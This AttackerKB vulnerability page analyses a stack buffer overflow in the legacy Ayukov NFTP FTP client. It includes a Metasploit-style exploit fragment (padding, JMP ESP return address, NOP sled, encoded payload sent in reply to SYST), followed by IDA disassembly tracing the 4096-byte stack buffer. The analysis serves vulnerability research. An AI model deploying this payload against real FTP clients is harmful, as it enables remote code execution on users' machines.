Unknown
Ayukov NFTP FTP Client Stack Buffer Overflow Analysis
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Unknown
(1 user assessed)Unknown
(1 user assessed)Unknown
Unknown
Unknown
Ayukov NFTP FTP Client Stack Buffer Overflow Analysis
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Buffer Overflow vulnerability in Ayukov NFTPD 2.0 and earlier allows remote attackers to execute arbitrary code.
Add Assessment
Technical Analysis
Details
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in 2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it handles the server input. The exploit was tested on Windows XP SP3 (English).
PoC
Here’s an example of how to crash the FTP client:
# Let the client log in client.get_once user = "331 OK.\r\n" client.put(user) client.get_once pass = "230 OK.\r\n" client.put(pass) sploit = "A"*4116 sploit << [target.ret].pack('V') # JMP ESP here sploit << "\x90"*16 sploit << payload.encoded sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length) sploit << "\r\n" client.put(sploit) client.get_once pwd = "257\r\n" client.put(pwd) client.get_once
Root Cause Analysis
When serving the PoC against the vulnerable app, the client’s command prompt shows:
12:28:43 331 OK. 12:28:43 USER anonymous 12:28:43 230 OK. 12:28:43 Successfully logged in as 'anonymous@192.168.0.12' 12:28:43 SYST 12:28:43 .................. Lots of AAAAAs here ..................... 12:28:43 TYPE I 12:28:43 257
The interesting part here is that when the client sends a SYST
request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.
With IDA Pro, we can tell that the SYST
string is at the following location:
.text:004096B6 ; char aSyst[] .text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
When we cross reference, we can tell this is used by the OpenControlConnection
function.
Although there is no symbol to identify the actual function name “OpenControlConnection”, the
debugging message at the beginning of the function is a big hint:
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>) { sub_45AF40(savedregs); *(_DWORD *)&name.sa_data[10] = a2; *(_DWORD *)&name.sa_data[6] = a3; *(_DWORD *)&name.sa_data[2] = a1; if ( !dword_477AEC ) sub_419B4C(1); while ( 1 ) { while ( 1 ) { do { sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]); ...
Anyway, inside the OpenControlConnection function, we can see that the SYST
command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):
.text:0040A504 push offset aSyst ; "SYST" .text:0040A509 lea eax, [ebp+charResBuffer] .text:0040A50F push eax ; charResBuffer .text:0040A510 lea eax, [ebp+args] .text:0040A516 push eax ; int .text:0040A517 push 0 ; int .text:0040A519 call SendFTPRequest
Inside the SendFTPRequest function, it looks like this:
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...) { char *v4; // ebx@0 int v5; // edi@0 int v6; // esi@0 char *v7; // edx@1 char Dst[16384]; // [esp+18h] [ebp-4000h]@2 char *savedregs; // [esp+4018h] [ebp+0h]@1 va_list va; // [esp+4030h] [ebp+18h]@1 va_start(va, Format); sub_45AF40(savedregs); savedregs = v4; v7 = Format; if ( Format ) { v4 = Dst; // This actually checks the input for the FTP command from the client. // The 0x4000u indicates the string should not be longer than that, otherwise // there will be a buffer overflow warning in this function. snprintf1(Dst, 0x4000u, Format, va); v7 = Dst; } return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7); }
We were able to tell the second argument for SendFTPRequest
is actually a buffer for receiving
the server’s response, because the way it is used:
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST"); if ( result == -4 ) return result; if ( result ) goto LABEL_231; if ( *(_DWORD *)args == 2 ) { sub_445CEC(charResBuffer); if ( strstr(charResBuffer, "unix") ) { if ( strstr(charResBuffer, "powerweb") ) { *(_DWORD *)dword_47B1E0 = 6; goto LABEL_206; } } ...
In addition, this buffer is actually on the stack, and it’s 4096 long:
-00001010 charResBuffer db 4096 dup(?)
This means that if the server responds with something longer than 4096 bytes for the SYST
request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
OpenControlConnection
, the RETN
ends up loading the corrupt data, which may lead to
arbitrary code execution:
.text:0040AC39 lea esp, [ebp-2048h] .text:0040AC3F pop ebx .text:0040AC40 pop esi .text:0040AC41 pop edi .text:0040AC42 leave .text:0040AC43 retn
Since whoever is using SendFTPRequest
is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. However, since it doesn’t look like there is a patch (because the product
is no longer in active development, from the exploit developer’s perspective, it is not necessary
to look for other ways to exploit it).
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
References
Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: